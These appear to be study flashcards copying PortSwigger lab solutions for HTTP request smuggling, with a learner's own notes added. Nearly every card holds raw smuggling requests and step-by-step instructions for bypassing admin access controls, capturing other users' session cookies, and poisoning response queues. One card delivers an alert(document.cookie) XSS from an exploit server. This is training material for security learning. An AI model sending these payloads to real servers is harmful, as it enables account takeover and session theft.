HTTP Request Smuggling Flashcards
- HTTP smuggling, basic CL.TE vulnerability
HTTP request smuggling, basic CL.TE vulnerability
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.
To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.
Hint
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Solution
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
The second response should say: Unrecognized method GPOST
- HTTP request smuggling, basic TE.CL vulnerability
HTTP Smuggling: HTTP smuggling, basic TE.CL vulnerability:
This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.
To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.
Hint
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Solution
In Burp Suite, go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Note: You need to include the trailing sequence \r\n\r\n following the final 0.
The second response should say: Unrecognized method GPOST.
3: HTTP request smuggling, obfuscating the TE header
HTTP request smuggling, obfuscating the TE header
This lab involves a front-end and back-end server, and the two servers handle duplicate HTTP request headers in different ways. The front-end server rejects requests that aren’t using the GET or POST method.
To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.
Hint
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Solution
In Burp Suite, go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
\r\n\r\n following the final 0.
The second response should say: Unrecognized method GPOST.”
4: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.
To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.
Hint
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Solution
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X
The second request should receive an HTTP 404 response.
Attacker controls the second response!!!!
5: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
LAB
Not solved
This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding.
To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.
Hint
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Solution
In Burp Suite, go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
The second request should receive an HTTP 404 response.
6: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
LAB
Not solved
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.
To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.
Hint
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Solution
Try to visit /admin and observe that the request is blocked.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-Ignore: X
Observe that the merged request to /admin was rejected due to not using the header Host: localhost.
===================================================
Issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
X-Ignore: X
========================================================
Observe that the request was blocked due to the second request’s Host header conflicting with the smuggled Host header in the first request.
Issue the following request twice so the second request’s headers are appended to the smuggled request body instead:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
=============================================================================
Observe that you can now access the admin panel.
Using the previous response as a reference, change the smuggled request URL to delete the user carlos:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
7: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability
Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability
LAB
Not solved
This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.
To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.
Hint
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Solution
Try to visit /admin and observe that the request is blocked.
In Burp Suite, go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Note
You need to include the trailing sequence \r\n\r\n following the final 0.
Observe that the merged request to /admin was rejected due to not using the header Host: localhost.
Issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Observe that you can now access the admin panel.
Using the previous response as a reference, change the smuggled request URL to delete the user carlos:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
8: Exploiting HTTP request smuggling to reveal front-end request rewriting
Exploiting HTTP request smuggling to reveal front-end request rewriting
LAB
Solved
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.
There’s an admin panel at /admin, but it’s only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It’s similar to the X-Forwarded-For header but has a different name.
To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server.Then smuggle a request to theback-end server that includes the added header, accesses the admin panel, and deletes the user carlos.
Hint
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Solution
Browse to /admin and observe that the admin panel can only be loaded from 127.0.0.1.
Use the site’s search function and observe that it reflects the value of the search parameter.
Use Burp Repeater to issue the following request twice.
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
search=test
The second response should contain “Search results for” followed by the start of a rewritten HTTP request.
Make a note of the name of the X-*-IP header in the rewritten request, and use it to access the admin panel:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
x=1
Using the previous response as a reference, change the smuggled request URL to delete the user carlos.
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
x=1
9: Exploiting HTTP request smuggling to capture other users’ requests
Exploiting HTTP request smuggling to capture other users’ requests
LAB
Not solved
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.
To solve the lab, smuggle a request to the back-end server that causes the next user’s request to be stored in the application. Then retrieve the next user’s request and use the victim user’s cookies to access their account.
Note
The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user’s request occurs as required.
Hint
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Solution
Visit a blog post and post a comment.
Send the comment-post request to Burp Repeater, shuffle the body parameters so the comment parameter occurs last, and make sure it still works.
Increase the comment-post request’s Content-Length to 400, then smuggle it to the back-end server:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=your-session-token
csrf=your-csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test
View the blog post to see if there’s a comment containing a user’s request. Note that the target user only browses the website intermittently so you may need to repeat this attack a few times before it’s successful.
If the stored request is incomplete and doesn’t include the Cookie header, you will need to slowly increase the value of the Content-Length header in the smuggled request, until the whole cookie is captured.
Copy the user’s Cookie header from the comment, and use it to access their account.
You will get Internal Server error a lot, but just do another Send in Repeater and see if the comment posted to the blog.
yqPsQes5jQYz7k4a9ND4vVVz3JwbOI0a
Cookie: session= yqPsQes5jQYz7k4a9ND4vVVz3JwbOI0a
Cookie: victim-fingerprint=y2hfMkbslT3O9l2nHjWh8OY34
Cookie: victim-fingerprint=y2hfMkbslT3O9l2nHjWh8OY34JXb8nh0;
secret=slaIoSA81q7DbJGXV7HmxrHNp9Eg4nig;
Copy the user’s Cookie header from the comment, and use it to access their account.
It’s not the victim=fingerprint or the secret you need to solve the lab, it’s the actual session=. Then go to login page, login as carlos, any password with Proxy intercept on and replace session= from smuggled request and solve the lab.
10: Exploiting HTTP request smuggling to deliver reflected XSS
Exploiting HTTP request smuggling to deliver reflected XSS
Inject an XSS inside the User Agent of a post comment. Then, smuggle the request to the backend using CE.
LAB
Not solved
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.
The application is also vulnerable to reflected XSS via the User-Agent header.
To solve the lab, smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1).
Note
The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user’s request occurs as required.
Hint
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Solution
Visit a blog post, and send the request to Burp Repeater.
Observe that the comment form contains your User-Agent header in a hidden input.
Inject an XSS payload into the User-Agent header and observe that it gets reflected: ”/>alert(1)
Smuggle this XSS request to the back-end server, so that it exploits the next visitor:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: a”/>alert(1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
Note how the payload inside the User Agent is NOT reflected in the HTTP 200 Response:
Note that the target user only browses the website intermittently so you may need to repeat this attack a few times before it’s successful.
11: Response queue poisoning via H2.TE request smuggling
Response queue poisoning via H2.TE request smuggling
LAB
https://www.youtube.com/watch?v=cGB-QNDySTs
Not solved
This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length.
To solve the lab, delete the user carlos by using response queue poisoning to break into the admin panel at /admin. An admin user will log in approximately every 15 seconds.
The connection to the back-end is reset every 10 requests, so don’t worry if you get it into a bad state - just send a few normal requests to get a fresh connection.
Note
This lab supports HTTP/2 but doesn’t advertise this via ALPN. To send HTTP/2 requests using Burp Repeater, you need to enable the Allow HTTP/2 ALPN override option and manually change the protocol to HTTP/2 using the Inspector.
Please note that this feature is only available from Burp Suite Professional / Community 2021.9.1.
Solution
Using Burp Repeater, try smuggling an arbitrary prefix in the body of an HTTP/2 request using chunked encoding as follows. Remember to expand the Inspector’s Request Attributes section and change the protocol to HTTP/2 before sending the request.
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Transfer-Encoding: chunked
0
SMUGGLED
Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix.
In Burp Repeater, create the following request, which smuggles a complete request to the back-end server. Note that the path in both requests points to a non-existent endpoint. This means that your request will always get a 404 response. Once you have poisoned the response queue, this will make it easier to recognize any other users’ responses that you have successfully captured.
POST /x HTTP/2
12: H2.CL request smuggling
H2.CL request smuggling
LAB
Not solved
This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length.
To solve the lab, perform a request smuggling attack that causes the victim’s browser to load a malicious JavaScript file from the exploit server and call alert(document.cookie). The victim user accesses the home page every 10 seconds.
Note
This lab supports HTTP/2 but doesn’t advertise this via ALPN. To send HTTP/2 requests using Burp Repeater, you need to enable the Allow HTTP/2 ALPN override option and manually change the protocol to HTTP/2 using the Inspector.
Please note that this feature is only available from Burp Suite Professional / Community 2021.9.1.
Hint
Solving this lab requires a technique that we covered in the earlier HTTP request smuggling materials
Solution
From the Repeater menu, enable the Allow HTTP/2 ALPN override option and disable the Update Content-Length option.
Using Burp Repeater, try smuggling an arbitrary prefix in the body of an HTTP/2 request by including a Content-Length: 0 header as follows. Remember to expand the Inspector’s Request Attributes section and change the protocol to HTTP/2 before sending the request.
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0
SMUGGLED
Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix.
Using Burp Repeater, notice that if you send a request for GET /resources, you are redirected to https://YOUR-LAB-ID.web-security-academy.net/resources/.
Create the following request to smuggle the start of a request for /resources, along with an arbitrary Host header:
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0
GET /resources HTTP/1.1
Host: foo
Content-Length: 5
x=1
Send the request a few times. Notice that smuggling this prefix past the front-end allows you to redirect the subsequent request on the connection to an arbitrary host.
Go to the exploit server and change the file path to /resources. In the body, enter the payload alert(document.cookie), then store the exploit.
In Burp Repeater, edit your malicious request so that the Host header points to your exploit server:
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0
GET /resources HTTP/1.1
Host: YOUR-EXPLOIT-SERVER-ID.web-security-academy.net
Content-Length: 5
x=1
Send the request a few times and confirm that you receive a redirect to the exploit server.
Resend the request every 10 seconds or so until the victim is redirected to the exploit server and the lab is solved.
Keep clicking Send button over and over even when you get a 302. Click Send instead of Follow Redirection. Eventually, you will get the solve.
- HTTP/2 request smuggling via CRLF injection
HTTP/2 request smuggling via CRLF injection
LAB
https://www.youtube.com/watch?v=Vs3xzWnGmpM
Not solved
This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers.
To solve the lab, use an HTTP/2-exclusive request smuggling vector to gain access to another user’s account. The victim accesses the home page every 15 seconds.
If you’re not familiar with Burp’s exclusive features for HTTP/2 testing, please refer to the documentation for details on how to use them.
Note
This lab supports HTTP/2 but doesn’t advertise this via ALPN. To send HTTP/2 requests using Burp Repeater, you need to enable the Allow HTTP/2 ALPN override option and manually change the protocol to HTTP/2 using the Inspector.
Please note that this feature is only available from Burp Suite Professional / Community 2021.9.1.
Hint
To inject newlines into HTTP/2 headers, use the Inspector to drill down into the header, then press the Shift + Return keys. Note that this feature is not available when you double-click on the header.
Hint
We covered some ways you can capture other users’ requests via request smuggling in a previous lab.
Solution
In the browser, use the lab’s search function a couple of times and observe that the website records your recent search history. Send the most recent POST /request to Burp Repeater and remove your session cookie before resending the request. Notice that your search history is reset, confirming that it’s tied to your session cookie.
Expand the Inspector’s Request Attributes section and change the protocol to HTTP/2.
Using the Inspector, add an arbitrary header to the request. Append the sequence \r\n to the header’s value, followed by the Transfer-Encoding: chunked header:
Name
foo
Value
bar\r\n
Transfer-Encoding: chunked
In the body, attempt to smuggle an arbitrary prefix as follows:
0
SMUGGLED
Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix
Change the body of the request to the following:
0
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE
Content-Length: 800
search=x
Send the request, then immediately refresh the page in your browser. The next step depends on which response you receive:
If you got lucky with your timing, you may see a 404 Not Found response. In this case, refresh the page again and move on to the next step.
If you instead see the search results page, observe that the start of your request is reflected on the page because it was appended to the search=x parameter in the smuggled prefix. In this case, send the request again, but this time wait for 15 seconds before refreshing the page. If you see a 404 response, just refresh the page again.
Check the recent searches list. If it contains a GET request, this is the start of the victim user’s request and includes their session cookie. If you instead see your own POST request, you refreshed the page too early. Try again until you have successfully stolen the victim’s session cookie.
In Burp Repeater, send a request for the home page using the stolen session cookie to solve the lab.
the victims request needs to be a GET
I updated the cookie values with the latest POST and resent in Repeater then I finally got the 404 and saw the GET on the search page of the browser after reloading.
Show response in Browser and you should get the solve.
- HTTP/2 request splitting via CRLF injection
HTTP/2 request splitting via CRLF injection
LAB
Not solved
This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers.
To solve the lab, delete the user carlos by using response queue poisoning to break into the admin panel at /admin. An admin user will log in approximately every 10 seconds.
The connection to the back-end is reset every 10 requests, so don’t worry if you get it into a bad state - just send a few normal requests to get a fresh connection.
Note
This lab supports HTTP/2 but doesn’t advertise this via ALPN. To send HTTP/2 requests using Burp Repeater, you need to enable the Allow HTTP/2 ALPN override option and manually change the protocol to HTTP/2 using the Inspector.
Please note that this feature is only available from Burp Suite Professional / Community 2021.9.1.
Hint
To inject newlines into HTTP/2 headers, use the Inspector to drill down into the header, then press the Shift + Return keys. Note that this feature is not available when you double-click on the header.
Solution
Send a request for GET / to Burp Repeater. Expand the Inspector’s Request Attributes section and change the protocol to HTTP/2.
Change the path of the request to a non-existent endpoint, such as /x. This means that your request will always get a 404 response. Once you have poisoned the response queue, this will make it easier to recognize any other users’ responses that you have successfully captured.
Using the Inspector, append an arbitrary header to the end of the request. In the header value, inject \r\n sequences to split the request so that you’re smuggling another request to a non-existent endpoint as follows:
Name
foo
Value
bar\r\n
\r\n
GET /x HTTP/1.1\r\n
Host: YOUR-LAB-ID.web-security-academy.net
Send the request. When the front-end server appends \r\n\r\n to the end of the headers during downgrading, this effectively converts the smuggled prefix into a complete request, poisoning the response queue.
Wait for around 5 seconds, then send the request again to fetch an arbitrary response. Most of the time, you will receive your own 404 response. Any other response code indicates that you have successfully captured a response intended for the admin user. Repeat this process until you capture a 302 response containing the admin’s new post-login session cookie.
Note
If you receive some 200 responses but can’t capture a 302 response even after a lot of attempts, send 10 ordinary requests to reset the connection and try again.
Copy the session cookie and use it to send the following request:
GET /admin HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=STOLEN-SESSION-COOKIE
Send the request repeatedly until you receive a 200 response containing the admin panel.
In the response, find the URL for deleting Carlos (/admin/delete?username=carlos), then update the path in your request accordingly. Send the request to delete Carlos and solve the lab.
